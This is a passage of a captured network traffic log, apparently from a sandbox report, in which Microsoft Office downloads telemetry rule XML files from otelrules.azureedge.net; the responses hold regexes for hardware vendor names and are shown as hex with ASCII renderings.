2024-10-29 03:17:59 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031759Z-16849878b78q9m8bqvwuva4svc00000004m00000000000n7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:59 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031759Z-15b8d89586fbmg6qpd9yf8zhm000000000tg00000000gdsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:17:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031800Z-16849878b7867ttgfbpnfxt44s00000005sg00000000heev x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031800Z-15b8d89586fvk4kmbg8pf84y8800000006sg00000000gm14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 94fafadb-001e-0049-3f27-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031800Z-r197bdfb6b466qclztvgs64z1000000007p00000000008dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031800Z-r197bdfb6b4d9xksru4x6qbqr0000000062g000000002686 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031800Z-17c5cb586f6vcw6vtg5eymp4u8000000046000000000061c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:00 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b78p49s6zkwt11bbkn00000005h000000000n36u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b78fhxrnedubv5byks00000004ag00000000670n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b78q9m8bqvwuva4svc00000004h0000000005erz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b7898p5f6vryaqvp5800000006tg000000009bc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b78fkwcjkpn19c5dsn000000052g0000000003ng x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" 